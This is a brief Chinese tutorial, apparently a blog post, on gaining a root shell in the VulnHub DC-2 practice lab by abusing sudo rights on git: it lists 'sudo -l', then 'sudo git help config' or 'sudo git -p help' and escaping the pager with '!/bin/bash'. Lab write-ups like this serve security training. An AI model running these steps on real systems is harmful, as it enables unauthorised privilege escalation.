git提权

实验环境------vulnhub-dc2靶场

git提权

前提:用户可以使用sudo中git权限

查看sudo权限

bash 复制代码
sudo -l

可以发现git命令存在sudo提权

基于此进行权限提升

方式:

bash 复制代码
sudo git help config #在末行命令模式输入 
!/bin/bash 或 !'sh' #完成提权 
sudo git -p help 
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell

输入sudo git help config后会有一个很长的文本,在此基础上,按下: ,在输入!/bin/bash

然后按q退出,再输出sudo git -p help命令,同上输入!/bin/bash

...(img-S18YuqYP-1705661673078)]

相关推荐
九月镇灵将1 小时前
GitPython库快速应用入门
git·python·gitpython
程序猿chen2 小时前
《JVM考古现场(十五):熵火燎原——从量子递归到热寂晶壁的代码涅槃》
java·jvm·git·后端·java-ee·区块链·量子计算
前端三叶草5 小时前
git subtree 最佳实践
git
Code_Geo7 小时前
Git操作指南
git
阳光_你好9 小时前
解决用git bash终端 tail -f 命令查看日志中文乱码问题
开发语言·git·bash
geekmice17 小时前
多个git账户团队写作
git
森叶18 小时前
linux如何与windows进行共享文件夹开发,不用来回用git进行拉来拉去,这个对于swoole开发者来说特别重要
linux·git·swoole
qziovv18 小时前
GIT 撤销上次推送
git
Cloud_Air75419 小时前
本地合并多个仓库,保留Commit历史
git·github
high201121 小时前
【Git】-- 处理 Git 提交到错误分支的问题
git